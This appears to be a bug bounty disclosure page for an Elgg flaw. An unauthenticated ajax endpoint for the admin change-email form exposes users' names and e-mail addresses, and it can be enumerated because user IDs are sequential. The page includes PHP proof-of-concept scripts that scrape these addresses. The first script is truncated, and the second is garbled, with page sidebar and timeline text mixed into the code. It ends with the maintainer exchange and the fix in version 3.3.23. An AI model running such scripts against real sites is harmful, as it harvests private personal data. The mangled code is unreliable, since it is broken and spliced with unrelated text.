Exposure of Private Personal Information to an Unauthorized Actor in elgg/elgg

Valid Reported on Nov 18th 2021

Hello Elgg Team, hope you are having an awesome day:)
Just found an issue on the latest version of Elgg, and apparently the previous versions also have the same flaw.

Description

There is this endpoint, which is:

```
http://elgg-example-here.com/ajax/form/admin/user/change_email
```

This endpoint is supposed to pick the query parameter user_guid and return a form so the admin can change the e-mail of any given user that has this user_guid . The response for this request contains within the form, the display name of a user and also its current e-mail address.

The problem is: originally, this ajax view is supposed to be used exclusively by the Admin user, but actually any user is capable of calling it, even unauthenticated ones. And because the user_guid is as "sequential" value, it is easy to execute a loop and dump all the e-mail addresses that are saved.

Proof of Concept

I made two PoCs, for the first one, this PHP script will return the e-mail of the Admin user:

```
<?php
$host = 'HOST NAME HERE';
$ch = curl init();
curl_setopt($ch, CURLOPT_URL, 'http://'.$host.'/elgg/ajax/form/admin/user/c
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
    'X-Requested-With:XMLHttpRequest',
    'X-Elgg-Ajax-API:2'
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$content = curl_exec($ch);
$content = json_decode($content, false);
$dom = new DOMDocument;
$dom->loadHTML($content->value);
$attr = array();
$tg = "input";
$inputs = $dom->getElementsByTagName($tg);
foreach ($inputs as $tag) {
   array_push($attr, $tag->getAttribute("value"));
echo "The e-mail of the admin is ". end(\text{sattr}) . " :)\n";
?>
```

And on this second one, the script will run a loop and retrieve e-mail addresses of multiple users

```
(Published) dom = new DOMDocument;
VulnerabisonypaloadHTML($content->value);
CWE-359: $attrum af Pay() Personal Information to an Unauthorized Actor
Severity $tg = "input";
Medium ($inputs = $dom->getElementsByTagName($tg);
Visibility if(sizeof($inputs) == 4) {
             foreach ($inputs as $tag) {
                 array_push($attr, $tag->getAttribute("value"));
Status
             echo end($attr) . "\n";
Found by 3
              Breno Vitório
    We are processing your report and will contact the elgg team within 24 hours. a year ago
  Impact
   Breno Vitório submitted a patch a year ago
  publicly available.
We have contacted a member of the elgg team and are waiting to hear back a year ago
  References
A eigg/eigg maintainer validated this vulnerability a year ago
                           warded the disclosure bounty
  A elgg/elgg maintainer a year ago
                                                                                 Maintainer
  thanks for reporting. We'll look into making a solution.
  Next release is scheduled for over 14 days.
  Breno Vitório a year ago
                                                                                 Researcher
  Thank you :D
  A elgg/elgg maintainer a year ago
  Jamie Slome a year ago
                                                                                    Admin
  @maintainer - are you able to confirm fix using the button above?
  We can then go ahead and publish the CVE! ♥
  A elgg/elgg maintainer a year ago
                                                                                 Maintainer
  I will after we have released a version with the fix in it. This will happen on Friday December 3rd
  Jamie Slome a year ago
  Great, thank you for the update!
    A elgg/elgg maintainer marked this as fixed in 3.3.23 with commit 572d21 a year ago
    The fix bounty has been dropped x
    This vulnerability will not receive a CVE 🗶
```

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